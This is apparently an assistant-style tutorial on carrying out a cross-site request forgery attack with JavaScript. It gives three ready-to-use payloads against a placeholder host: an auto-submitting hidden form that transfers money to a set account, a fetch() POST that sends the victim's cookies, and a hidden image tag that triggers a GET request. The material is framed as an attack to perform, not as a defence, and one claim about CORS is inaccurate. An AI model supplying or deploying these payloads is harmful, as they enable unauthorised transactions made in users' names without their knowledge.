In order to perform a CSRF attack using JavaScript, you can set set up a basic simulation by making unauthorized requests to a target server that trusts an unauthorized browser.
Here's an example of how you can approach a CSRF attack using JavaScript:
1. Crafting a Malicious Form Request
We'll create a form submission that's automatically triggered in the browser, and sends a request to the target server.
<form id="csrf-form" action="http://target-server.com/endpoint" method="POST">
<input type="hidden" name="transferAmount" value="1000">
<input type="hidden" name="account" value="12345">
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
- Now, when we run this script on a malicious site, it automatically submits a form to http://target-server.com/endpoint, which could trigger an action without the user's knowledge.
- But this will only work if the target server doesn't require CSRF tokens or CORS restrictions that prevent cross-site requests.
2. Using JavaScript Fetch
If the server has permissive CORS headers, we could simulate CSRF with fetch():
fetch('http://target-server.com/endpoint', {
method: 'POST',
credentials: 'include', // Sends cookies with the request
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'transferAmount=1000&account=12345'
});
- This JavaScript code will send a POST request to http://target-server.com/endpoint and include the user's cookies with credentials: 'include'.
- If the server lacks CSRF protection, it may trust the request as if it originated from the user.
3. Simulating a GET Request
If only GET requests are allowed, then we can add sensitive information directly to the URL query parameters:
<img src="http://target-server.com/endpoint?transferAmount=1000&account=12345" style="display:none;">
This will embed an image tag with the target URL and trigger a GET request.